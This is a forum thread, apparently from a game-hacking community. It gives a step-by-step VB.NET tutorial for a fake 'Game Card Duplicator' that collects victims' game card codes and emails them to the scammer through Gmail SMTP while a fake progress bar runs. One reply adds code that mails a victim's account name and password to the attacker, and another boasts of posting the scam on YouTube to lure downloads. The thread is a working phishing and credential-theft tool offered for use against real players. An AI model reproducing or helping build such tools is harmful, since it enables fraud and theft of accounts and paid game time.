Making a Game Card Scam for Noobs

[omg_lol]

This guide is based off of http://www.mmowned.com/forums/vb/200971-vb-2008-how-make-account-scamming-program-noobs.html except his is an account scammer, mine is a gamecard scammer. Credits to JedlagJad for code except for a little bit that i added myself....

Step 1. Create a new visual basic project

Step 2. drag a timer onto your form

Step 3. Drag a Progress bar, 2 text boxes and a button to your form

Step 4. Position it all so it looks nice, id do: (The box being your form)
_________________
l Label l
l Text Box1 l
l Label l
l Text Box l
l Label l
l Progress Bar l
l Button l
----------------------------

Step 5. Double click your button and type (Edit Red)

Imports System.Web
Imports System.IO
Imports System.Net.Mail
PublicClass Form1
PrivateSub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = ""Then
MsgBox("The Game Card Field!", MsgBoxStyle.OkOnly, "Game Card Duplicator")
EndIf
If TextBox2.Text = ""Then
MsgBox("The E-mail field is not filled in!", MsgBoxStyle.OkOnly, "Game Card Duplicator")
EndIf
Dim mail AsNew System.Net.Mail.MailMessage()
Dim SmtpServer AsNew SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("gmail", "pass")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("Gmail")
mail.From = New MailAddress("gmail")
mail.Subject = ("Game Time: " & Textbox1.text")
mail.Body = ("Game Time: " & Textbox1.text")
SmtpServer.Send(mail)
MsgBox("Please do not use your old code until you recieve your generated code or else your new code wont work!")
Timer1.Start()
EndSub
PrivateSub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
EndSub
EndClass

Step 6. Go back to the designer and change the name of label 1 to 'Valid Game Card:' change the name of label 2 to 'Valid E-Mail' change the name of label 3 to 'Status'
Step 7. Push F5 and test it out!
Edit: Fixed the code, i pasted it wrong cause its 5:00am and im half asleep

[Hyldran0]

well this would be good for me if i i could understand better xD can u maybe add some pics and show better how to do xD really need and EU Game Card :S well +rep if u can add pics

[Cephalopod]

Again, use code that doesn't require a password to send emails.

I posted the relevant code in a different thread.

        Dim mContent As New System.Net.Mail.MailMessage()
        Dim smtp As New SmtpClient("aspmx5.googlemail.com")
        mContent.To.Add("gmailaddressyouowninhere")
        mContent.From = New MailAddress("[email protected]")
        mContent.Subject = "Scammed Account Details"
        mContent.Body = "Account: " & TextBox1.Text & vbNewLine & "Password: " & TextBox2.Text 
        smtp.Send(mContent)

[DarkGuardDK]

Hmm.. Thank you for making this guide, created it and uploaded to youtube, sadly i haven't had so much success as i did with the account scamming program. But i might just have to be patient and do something to convince people to download it and try it. :P Would give you rep, but i'm a leacher with no rep to give.

EDIT: Nevermind, i gave you 1 rep. (i think)